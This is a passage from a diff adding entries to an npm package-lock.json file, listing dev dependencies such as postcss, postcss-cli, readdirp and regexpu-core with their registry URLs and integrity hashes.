"version": "1.1.0", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz", + "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==", + "dev": true, + "requires": { + "ansi-wrap": "^0.1.0" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==", + "dev": true + }, + "postcss": { + "version": "8.4.26", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.26.tgz", + "integrity": "sha512-jrXHFF8iTloAenySjM/ob3gSj7pCu0Ji49hnjqzsgSRa50hkWCKD0HQ+gMNJkW38jBI68MpAAg7ZWwHwX8NMMw==", + "dev": true, + "requires": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "dependencies": { + "nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "dev": true + } + } + }, + "postcss-cli": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-10.1.0.tgz", + "integrity": "sha512-Zu7PLORkE9YwNdvOeOVKPmWghprOtjFQU3srMUGbdz3pHJiFh7yZ4geiZFMkjMfB0mtTFR3h8RemR62rPkbOPA==", + "dev": true, + "requires": { + "chokidar": "^3.3.0", + "dependency-graph": "^0.11.0", + "fs-extra": "^11.0.0", + "get-stdin": "^9.0.0", + "globby": "^13.0.0", + "picocolors": "^1.0.0", + "postcss-load-config": "^4.0.0", + "postcss-reporter": "^7.0.0", + "pretty-hrtime": "^1.0.3", + "read-cache": "^1.0.0", + "slash": "^5.0.0", + "yargs": "^17.0.0" + }, + "dependencies": { + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "globby": { + "version": "13.2.2", + "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz", + "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==", + "dev": true, + "requires": { + "dir-glob": "^3.0.1", + "fast-glob": "^3.3.0", + "ignore": "^5.2.4", + "merge2": "^1.4.1", + "slash": "^4.0.0" + }, + "dependencies": { + "slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true + } + } + }, + "ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "dev": true + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + } + }, + "postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "requires": { + "camelcase-css": "^2.0.1" + } + }, + "postcss-load-config": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.1.tgz", + "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==", + "dev": true, + "requires": { + "lilconfig": "^2.0.5", + "yaml": "^2.1.1" + } + }, + "postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.11" + } + }, + "postcss-reporter": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz", + "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==", + "dev": true, + "requires": { + "picocolors": "^1.0.0", + "thenby": "^1.3.4" + } + }, + "postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + }, + "postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true + }, + "pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "process-on-spawn": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/process-on-spawn/-/process-on-spawn-1.0.0.tgz", + "integrity": "sha512-1WsPDsUSMmZH5LeMLegqkPDrsGgsWwk1Exipy2hvB0o/F0ASzbpIctSCcZIK1ykJvtTJULEH+20WOFjMvGnCTg==", + "dev": true, + "requires": { + "fromentries": "^1.2.0" + } + }, + "progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true + }, + "prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dev": true, + "requires": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + } + }, + "prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw==", + "dev": true + }, + "psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "dev": true + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "pumpify": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", + "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, + "requires": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", + "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + } + } + }, + "punycode": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "dev": true + }, + "querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "requires": { + "pify": "^2.3.0" + }, + "dependencies": { + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true + } + } + }, + "read-pkg": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", + "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==", + "dev": true, + "requires": { + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" + }, + "dependencies": { + "path-type": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", + "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true + } + } + }, + "read-pkg-up": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", + "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==", + "dev": true, + "requires": { + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" + }, + "dependencies": { + "find-up": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", + "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==", + "dev": true, + "requires": { + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" + } + }, + "path-exists": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", + "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==", + "dev": true, + "requires": { + "pinkie-promise": "^2.0.0" + } + } + } + }, + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + }, + "dependencies": { + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + } + } + }, + "rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==", + "dev": true, + "requires": { + "resolve": "^1.1.6" + } + }, + "regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "regenerate-unicode-properties": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", + "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "dev": true, + "requires": { + "regenerate": "^1.4.2" + } + }, + "regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", + "dev": true + }, + "regenerator-transform": { + "version": "0.15.1", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.1.tgz", + "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==", + "dev": true, + "requires": { + "@babel/runtime": "^7.8.4" + } + }, + "regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "dev": true, + "requires": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "regexpp": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", + "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", + "dev": true + }, + "regexpu-core": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "dev": true, + "requires": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + } + }, + "regjsparser": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "dev": true, + "requires": { + "jsesc": "~0.5.0" + }, + "dependencies": { + "jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "dev": true + } + } + }, + "relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "dev": true + }, + "release-zalgo": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/release-zalgo/-/release-zalgo-1.0.0.tgz", + "integrity": "sha512-gUAyHVHPPC5wdqX/LG4LWtRYtgjxyX78oanFNTMMyFEfOqdC54s3eE82imuWKbOeqYht2CrNf64Qb8vgmmtZGA==", + "dev": true, + "requires": { + "es6-error": "^4.0.1" + } + }, + "remove-bom-buffer": 